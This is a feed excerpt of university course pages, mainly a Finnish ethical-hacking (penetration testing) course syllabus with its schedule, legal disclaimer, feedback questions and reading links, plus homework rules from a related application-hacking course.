&lt;p&gt;Assignments are official only after they are given at the end of class. Even if the assignment might sometimes be on the web page before class, they should not be done in advance, as they are evaluated according to the given assignment. Significant changes may be made before confirmation.&lt;/p&gt;
&lt;p&gt;Homework is reviewed at the next meeting, problems are solved together, and oral feedback is given. The grade for the homework package is given only at the end of the course, but assignments must still be submitted 24 hours before the next class. Those who don&#39;t start completing the course by submitting assignments will be removed from the course. Publishing is voluntary but highly recommended. If for some reason you don&#39;t dare or otherwise don&#39;t want to publish, you can put the work on a web page behind a password (the same password for all homework) and share this password with classmates. If tests on homework topics are held during classes, their points are included in the homework assessment.&lt;/p&gt;
&lt;p&gt;Homework must be done by experimenting on a computer and reporting the course of events, unless otherwise stated in the specific subsection. Reports must contain information that can verify the exercises were done and not fabricated.&lt;/p&gt;
&lt;p&gt;All sources used must be cited in the report: course assignment page, classmates&#39; reports, man pages, books. The citation must show which information came from which source. If you ask AI for advice, it must be cited as a source, naming the AI model and specifics. AIs hallucinate; it&#39;s recommended to verify the information. Summaries or essays must not be generated with AI or similar techniques; they must be written yourself. It is forbidden to generate text with AI, as your classmates will be reading what you wrote.&lt;/p&gt;
&lt;h2 id=&quot;homework-tasks&quot;&gt;Homework Tasks &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#homework-tasks&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;We embed homework here in a new way, email teacher if you cannot see the tasks.&lt;/em&gt;&lt;/p&gt;
&lt;div id=homeworkEmbed&gt;Loading homework with JavaScript. You can also &lt;a href=&quot;https://app.terokarvinen.com/embed/course/54/tasks/&quot;&gt;read homework directly&lt;/a&gt;, without JavaScript. &lt;/div&gt;
&lt;script&gt;fetch(&quot;https://app.terokarvinen.com/embed/course/54/tasks/&quot;).then(e=&gt;e.text()).then(e=&gt;document.getElementById(&quot;homeworkEmbed&quot;).innerHTML=e)&lt;/script&gt;
&lt;p&gt;&lt;em&gt;Adminstrivia: This page will update before and during the course. Human verified machine translation was used for parts of this page.&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Tunkeutumistestaus</title>
    <link href="https://terokarvinen.com/tunkeutumistestaus/"/>
    <id>https://terokarvinen.com/tunkeutumistestaus/</id>
    <published>2026-08-12T10:17:00+03:00</published>
    <updated>2026-08-12T10:17:00+03:00</updated>
    <content type="html">&lt;div lang=&quot;en&quot;&gt;
&lt;p&gt;Learn to hack computers to protect your own. In the course, you will break into target computers.&lt;/p&gt;
&lt;p&gt;Excellent feedback, reached 5.0 out of 5.
&lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Full five stars&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: Visitors confirmed: Buuri (pentesting banks), Särökaari (attacking identity?), joohoi (creator of ffuf).&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code&lt;/td&gt;&lt;td&gt;Tunkeutumistestaus ICI005AS3A-3007 (&lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course/ICI005AS3A&quot;&gt;study guide&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 &lt;strong&gt;period 1&lt;/strong&gt; early autumn, w34-w41&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 cr&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Thursdays 11:00&lt;/strong&gt;-13:45, Pasila &lt;strong&gt;pa5001&lt;/strong&gt;, bring your &lt;strong&gt;laptop&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;30&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;Finnish (+reading material in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;No, fully contact in Pasila classroom&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.8&lt;/strong&gt; / 5 Excellent feedback* &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt; (Best instance 5.0/5)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=49132&quot;&gt;Moodle: Tunkeutumistestaus&lt;/a&gt;, Laksu. Voluntary extra: &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;2026-08-20 w34 Thu 11:00, pa5001, bring your laptop.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;* Best instance 5.0/5, every student gave feedback and every feedback was 5. Lowest 4.5/5 excellent, typical 4.9/5 excellent. 
&lt;em&gt;Use of penetration testing techniques requires legal and ethical considerations. To safely use these tools, tactics and procedures, you might need to obtain contracts and permissions; and posses adequate technical skills. Check your local laws.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Teaching is in Finnish, so the rest of this page will be in Finnish.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tunkeutumistestaus on eettisen hakkeroinnin kurssi. Opit, miten murtaudutaan tietokoneille, jotta voisit suojata omat ja toimeksiantajan järjestelmät. Nämä tekniikat, ohjelmat ja taktiikat ovat luvallisia vain tietyissä tilanteissa. Usein pitää hankkia lupia ja tehdä sopimuksia. Lisäksi näiden tekniikoiden turvalliseen käyttöön tarvitaan teknistä taitoa. Perehdy itse paikallisiin lakeihin.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;oppimistavoitteet&quot;&gt;Oppimistavoitteet &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#oppimistavoitteet&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Opintojakson suoritettuaan opiskelija&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tuntee tunkeutumistestauksen prosessin pääpiirteissään&lt;/li&gt;
&lt;li&gt;Tietää, että tunkeutumistestaukselle on lailliset ja eettiset rajat&lt;/li&gt;
&lt;li&gt;Osaa kartoittaa kohdejärjestelmän haavoittuvuuksia&lt;/li&gt;
&lt;li&gt;Osaa hyödyntää valmiita hyökkäyksiä (exploit) ja liittää niihin hyötykuorman käyttäen kurssille valittua työkalua&lt;/li&gt;
&lt;li&gt;Osaa soveltaa tavallisimpia hyökkäyksiä weppisovelluksia vastaan, kun kohdeohjelmistot ovat helppoja ja haavoittuvia.&lt;/li&gt;
&lt;li&gt;Osaa hankkia tunkeutumistestauksessa tarvittavia ohjelmistoja&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kurssilta ei saa mukaansa ilmaista pakettia nollapäivähaavoittuvuuksia, eikä kurssi anna mitään erityisoikeuksia eikä ammattinimikkeitä.&lt;/p&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 139px&quot;&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/tunkeutumistestaus/its-raining-shells.w139.ha3eb55a3.avif 139w&quot; sizes=&quot;(max-width: 139px) 100vw, 139px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/tunkeutumistestaus/its-raining-shells.w139.ha3eb55a3.png&quot; srcset=&quot;https://terokarvinen.com/tunkeutumistestaus/its-raining-shells.w139.ha3eb55a3.png 139w&quot; sizes=&quot;(max-width: 139px) 100vw, 139px&quot; width=&quot;139&quot; height=&quot;134&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;aikataulu&quot;&gt;Aikataulu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#aikataulu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Torstaisin 11:00 - 13:45 Pasila pa5001.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Päivä&lt;/th&gt;&lt;th&gt;Aihe&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;2026-08-20 w34 Thu&lt;/td&gt;&lt;td&gt;1. Tunkeutumisen yleiskuva. Järjestäytyminen. Kybertappoketju. &lt;em&gt;Lopetamme poikkeuksellisesti jo 13:00&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-08-27 w35 Thu&lt;/td&gt;&lt;td&gt;2. Vierailija &lt;em&gt;Marko Buuri, cybersecurity adviser, Suomen Pankki: DORA &amp;amp; threat lead penetration testing&lt;/em&gt; (11:00). Harjoitusympäristöt, ulkopuoliset ja oma virtuaalilaboratorio.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-03 w36 Thu&lt;/td&gt;&lt;td&gt;3. Aktiivinen tiedustelu. Porttiskannaus ja oheistekniikat. Valvonta snifferillä.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-10 w37 Thu&lt;/td&gt;&lt;td&gt;4. Vierailija &lt;em&gt;Niklas Särökaari, lead cybersecurity operations engineer, KONE: Attacking identity (topic to be confirmed)&lt;/em&gt; (11:00). Weppiin murtautuminen. IDOR, path traversal, SSRF. Välimiesproxyt, ZAP tai mitmproxy. Harjoitusympäristöt weppiin.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-17 w38 Thu&lt;/td&gt;&lt;td&gt;5. Weppiin murtautuminen. SQLi. Keksit. CSRF. Oman TLS-salatun liikenteen purkaminen.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-24 w39 Thu&lt;/td&gt;&lt;td&gt;6. Vierailija &lt;em&gt;Joona joohoi Hoikkala, creator of ffuf&lt;/em&gt;, ffuf + hacking CSRF with preflight, 11:00).&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-01 w40 Thu&lt;/td&gt;&lt;td&gt;7. &lt;em&gt;Happy Hacking Day normaalien tuntien tilalta&lt;/em&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-08 w41 Thu&lt;/td&gt;&lt;td&gt;8. Lipunryöstö, arvioitava laboratorioharjoitus.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Tämä on edistynyt kurssi, joten tuntien aiheisiin voi tulla muutoksia kurssin edetessä.&lt;/p&gt;
&lt;h2 id=&quot;anna-palautetta&quot;&gt;Anna palautetta &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#anna-palautetta&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palaute on todella tärkeä tapa kehittää kurssia – kiitos kommenteista jo etukäteen. Palaute kahteen kanavaan&lt;/p&gt;
&lt;h3 id=&quot;1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot;&gt;1) Vapaamuotoinen palaute kommenttina tämän kurssisivun perään &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/#comments&quot;&gt;Vapaamuotoinen palaute kommenttina tämän kurssisivun perään&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Vapaamuotoiseen palautteeseen saa kirjoittaa mitä vain, eikä kysymyksiä tarvitse toistaa. Mutta tässä vinkiksi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opitko jotakin – eli osaatko nyt sellaista, mitä et osannut ennen kurssia?&lt;/li&gt;
&lt;li&gt;Teitkö jotain ensimmäistä kertaa? Hyökkäsit weppiin, käytit jotain työkalua, skannasit kokonaisen verkon; käytit jotain kieltä, tekniikkaa tai työkalua?&lt;/li&gt;
&lt;li&gt;Mitä mieltä kustakin vierailijasta? (Marko / Suomen Pankki, pankkien uhkalähtöinen testaus; Niklas / KONE hyökkääminen identiteettiin; Joona, fuff:n tekijä esittelee työkalunsa)&lt;/li&gt;
&lt;li&gt;Oliko opittu hyödyllistä? Luuletko, että sille on käyttöä esim. tulevaisuudessa töissä tai kotona?&lt;/li&gt;
&lt;li&gt;Mitä mieltä olit läksyistä? Luku/video/podcast -materiaalista? Hands-on tehtävistä?&lt;/li&gt;
&lt;li&gt;Miten voisin parantaa kurssia?&lt;/li&gt;
&lt;li&gt;Viihdyitkö kurssilla?&lt;/li&gt;
&lt;li&gt;Suosittelisitko kurssia? Kenelle kurssi sopisi? Koulutoverille tai kollegalle?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot;&gt;2) Numeerinen palaute Haaga-Helian palautejärjestelmään MyNetissa &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Numeerinen palaute &lt;a href=&quot;https://mynet.haaga-helia.fi&quot;&gt;Haaga-Helian palautejärjestelmään MyNetissa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Numeerisen palautteen avulla mm. verrataan Haaga-Helian kursseja toisiinsa. On tärkeää saada jokaiselta palaute, jotta tulos on tilastollisesti merkitsevä.&lt;/p&gt;
&lt;p&gt;Numeeriset: Asteikko 1-välttävä (huonoin) ... 5-kiitettävä (paras)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oma aktiivisuutesi opiskelussa        1-5&lt;/li&gt;
&lt;li&gt;Osaamistavoitteiden saavuttaminen     1-5&lt;/li&gt;
&lt;li&gt;Työskentelytavat tukivat oppimista    1-5&lt;/li&gt;
&lt;li&gt;Opiskeluympäristö tuki oppimista      1-5&lt;/li&gt;
&lt;li&gt;Hyödyllisyys työelämään               1-5&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avoimet kysymykset (näihin voi myös kopioida samat vastaukset jotka kirjoitit aiemmin)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mitkä asiat edistivät oppimistasi?&lt;/li&gt;
&lt;li&gt;Miten kehittäisit toteutusta / toteutuskokonaisuutta, jotta osaamistavoitteet saavutettaisiin paremmin?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kokonaisarviosi toteutuksesta / toteutuskokonaisuudesta 1-5&lt;/p&gt;
&lt;p&gt;Suosittelisitko 1 - 10 (1 en varmasti, 10 aion varmasti suositella tai olen jo suositellut)&lt;/p&gt;
&lt;p&gt;Kiitos palautteesta ja jännittävästä kurssista! Seuraavilla kursseilla nähdään.&lt;/p&gt;
&lt;h2 id=&quot;kertausmateriaalia&quot;&gt;Kertausmateriaalia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#kertausmateriaalia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tämä materiaali on vapaaehtoista, jos osaat ne jo. Lähteet ovat esimerkkejä, voit osata/opetella nuo asiat mistä vain haluat. Esimerkiksi ohjelmoinnin alkeita harjoitella tai osata aivan millä vain kielellä (Python, C...). Jos kurssilla järjestetään alkutesti, kysymykset eivät rajoitu kertauspaketin materiaaliin.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP/IP-pino: &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;Wikipedia: Internet protocol suite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Linuxin komentokehote: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt; (ja Linuxin asennus &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on VirtualBox&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Tietokantojen alkeet (millä vain alustalla): &lt;a href=&quot;http://terokarvinen.com/2016/postgresql-install-and-one-table-database-sql-crud-tutorial-for-ubuntu&quot;&gt;PostgreSQL Install and One Table Database - SQL CRUD tutorial for Ubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ohjelmoinnin alkeet (millä vain kielellä). Python on myös hyvä vaihtoehto. FreeCodeCamp.org: Javascript Algorithms And Data Structures Certification: Basic JavaScript: &lt;a href=&quot;https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript&quot;&gt;Introduction to JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;luettavaa-ja-linkkeja&quot;&gt;Luettavaa ja linkkejä &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#luettavaa-ja-linkkeja&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;€ Maksulliset aineistot saattavat näkyä ilmaiseksi &lt;a href=&quot;http://libguides.haaga-helia.fi/az.php&quot;&gt;Haaga-Helian tunnuksilla kirjaston&lt;/a&gt; kautta. &lt;a href=&quot;https://www.oreilly.com/library/view/temporary-access/&quot;&gt;Haaga-Helialla on käyttöoikeus O&#39;Reilly Learning -kirjoihin (ent. Safari)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Työkaluja kurssille&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on VirtualBox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2020/remote-learning-tools-for-my-courses/&quot;&gt;Remote Learning Tools for Tero&#39;s Courses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kali.org/&quot;&gt;Kali Linux&lt;/a&gt;. Uusi levykuva &lt;a href=&quot;https://cdimage.kali.org/kali-2021.1/kali-linux-2021.1-live-amd64.iso&quot;&gt;kali-linux-2021.1-live-amd64.iso&lt;/a&gt; (vanha levykuva &lt;a href=&quot;https://cdimage.kali.org/kali-2020.3/kali-linux-2020.3-live-amd64.iso&quot;&gt;kali-linux-2020.3-live-amd64.iso&lt;/a&gt;).
Kun linkki menee vanhaksi, etsi Kalin kotisivulta tuorein amd64-arkkitehtuurin live-tikun iso-kuva.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a id=&quot;L2&quot;&gt;L2 weppihyökkäyksiä - tukee läksyä h2&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf&quot;&gt;OWASP 10 2017 (pdf)&lt;/a&gt;, erityisesti ne hyökkäykset, joita aiot kohta tehdä eli A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting; sekä viime kerralla harjoiteltu A1 Injection.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;€ Santos et al 2018: Hacking Web Applications The Art of Hacking Series LiveLessons (video): Security Penetration Testing for Today&#39;s DevOps and Cloud Environments: &lt;a href=&quot;https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_03_00&quot;&gt;6.3 Understanding SQL Injection&lt;/a&gt; ja &lt;a href=&quot;https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_04_00&quot;&gt;6.4 Exploiting SQL Injection Vulnerabilities&lt;/a&gt; sekä &lt;a href=&quot;https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_05_00_00&quot;&gt;Lesson 5: Authentication and Session Management Vulnerabilities&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;€ Percival &amp;amp; Samancioglu 2020: The Complete Ethical Hacking Course (video): &lt;a href=&quot;https://learning.oreilly.com/videos/the-complete-ethical/9781839210495/9781839210495-video21_1&quot;&gt;Chapter 21: Cross Site Scripting&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf&quot;&gt;Hutchins et al 2011: Intelligence-Driven Computer Network Defense
Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yleiskuva, harjoitusmaaleja, web&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/&quot;&gt;MITRE ATT&amp;amp;CK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://darknetdiaries.com/&quot;&gt;Darknet Diaries&lt;/a&gt; . Podcastien kuunteluun
kännykällä &lt;a href=&quot;https://f-droid.org/en/packages/de.danoeh.antennapod/&quot;&gt;AntennaPod löytyy F-Droidista&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2019/mitmproxy-on-kali-and-xubuntu-attack-and-testing&quot;&gt;MitmProxy on Kali and Xubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target&quot;&gt;Install Webgoat 8 - Learn Web Pentesting&lt;/a&gt;. (It&#39;s also possible to install &lt;a href=&quot;http://terokarvinen.com/2019/install-webgoat-pentest-learning-tool-on-ubuntu-with-docker&quot;&gt;old version&lt;/a&gt; 7 of WebGoat with Docker).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf&quot;&gt;OWASP 10 2017 (pdf)&lt;/a&gt;. Tällä hetkellä 2021-02-02 uusin versio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aktiivinen tiedustelu. HackTheBox.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;€ Santos et al: &lt;a href=&quot;https://learning.oreilly.com/videos/the-art-of/9780135767849&quot;&gt;The Art of Hacking (Video Collection)&lt;/a&gt;: [..] &lt;a href=&quot;https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_04_03_00&quot;&gt;4.3 Surveying Essential Tools for Active Reconnaissance: Port Scanning and Web Service Review&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;man nmap (laaja, silmäily riittää)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Kokonaisia blogeja ja videokanavia, vilkaise, ei tarvitse katsoa 200 h videota:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://tools.kali.org/tools-listing&lt;/li&gt;
&lt;li&gt;0xdf https://0xdf.gitlab.io/&lt;/li&gt;
&lt;li&gt;ippsec https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos&lt;/li&gt;
&lt;li&gt;John Hammond https://www.youtube.com/user/RootOfTheNull/videos?sort=p&lt;/li&gt;
&lt;li&gt;Youtube-videoiden katseluun kännykällä &lt;a href=&quot;https://f-droid.org/packages/org.schabi.newpipe/&quot;&gt;NewPipe F-Droidista&lt;/a&gt;. Youtube-videoiden nopeuden säätöön &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/videospeed/&quot;&gt;codebicycle Video Speed Controller&lt;/a&gt; addon Firefoxille.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Passwords, Learning to Learn tools&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;infosecn1nja 2020: &lt;a href=&quot;https://github.com/infosecn1nja/Red-Teaming-Toolkit&quot;&gt;Red-Teaming-Toolkit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Taylor et al 2018: The Art of Hacking: &lt;a href=&quot;https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_06_00&quot;&gt;Hacking User Credentials&lt;/a&gt; €&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Web Fuzzing, Second to Last Words&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hoikkala &quot;joohoi&quot; 2020: &lt;a href=&quot;https://github.com/ffuf/ffuf&quot;&gt;ffuf - Fast web fuzzer written in Go&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hoikkala &quot;joohoi&quot; 2020: Still Fuzzing Faster (U fool). In &lt;a href=&quot;https://www.twitch.tv/helsec&quot;&gt;HelSec Virtual Meetup #1&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Miettinen 2020: iPhone BFU Acquisition and Analysis. In &lt;a href=&quot;https://www.twitch.tv/helsec&quot;&gt;HelSec Virtual Meetup #1&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Metasploit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;€ Jaswal 2020: Mastering Metasploit - 4ed: &lt;a href=&quot;https://learning.oreilly.com/library/view/mastering-metasploit-/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-30&quot;&gt;Chapter 1: Approaching a Penetration Test Using Metasploit&lt;/a&gt; (kohdasta &quot;Conducting a penetration test with Metasploit&quot; luvun loppuun)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Karvinen 2018: &lt;a href=&quot;https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/&quot;&gt;Install Metasploitable 3 – Vulnerable Target Computer&lt;/a&gt; (Article uses rapid7/metasploitable3-ub1404 , see also &quot;rapid7/metasploitable3-win2k8&quot;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;vanhoja-toteutuksia&quot;&gt;Vanhoja toteutuksia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#vanhoja-toteutuksia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus--ici005as3a-3004--2026p4/&quot;&gt;Tunkeutumistestaus ICI005AS3A-3004 - 2026 loppukevät&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/tunkeutumistestaus-ici001as3a-3002-2024p4-loppusyksy-pentest/&quot;&gt;Tunkeutumistestaus ICI001AS3A-3002 - 2024p4-loppusyksy&lt;/a&gt;&lt;/p&gt;
